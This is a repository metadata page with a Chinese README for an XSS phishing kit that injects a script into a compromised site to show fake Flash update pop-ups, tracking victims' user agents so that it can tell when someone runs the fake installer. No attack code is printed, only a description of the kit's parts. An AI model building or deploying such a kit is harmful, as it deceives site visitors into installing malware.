https://github.com/RomaneeSean/xss-flash-fishing

https://github.com/RomaneeSean/xss-flash-fishing

Last synced: 21 days ago
JSON representation

• Host: GitHub
• URL: https://github.com/RomaneeSean/xss-flash-fishing
• Owner: RomaneeSean
• Created: 2020-09-19T15:37:07.000Z (about 4 years ago)
• Default Branch: master
• Last Pushed: 2020-10-04T06:44:50.000Z (about 4 years ago)
• Last Synced: 2024-08-05T17:27:59.048Z (4 months ago)
• Language: JavaScript
• Size: 2.25 MB
• Stars: 17
• Watchers: 1
• Forks: 3
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - RomaneeSean/xss-flash-fishing - (JavaScript)

README

        
# xss flash 钓鱼

if-UserAgent.js

判断目标ua有没有在运行的名单中，目标站需要引入这个文件

download_useragent.txt

下载名单

run_useragent.txt

运行名单

ua.php

负责把下载名单的ua移动到运行名单，以此来防止重复弹窗。

上钩感知需要绑个小工具，运行flash的时候post一下ua.php就可以实现，

我是用的c写了一个小工具，由于url不一样，无法提供！

### 感谢Se7en提供的原版项目https://github.com/r00tSe7en/Flash-Pop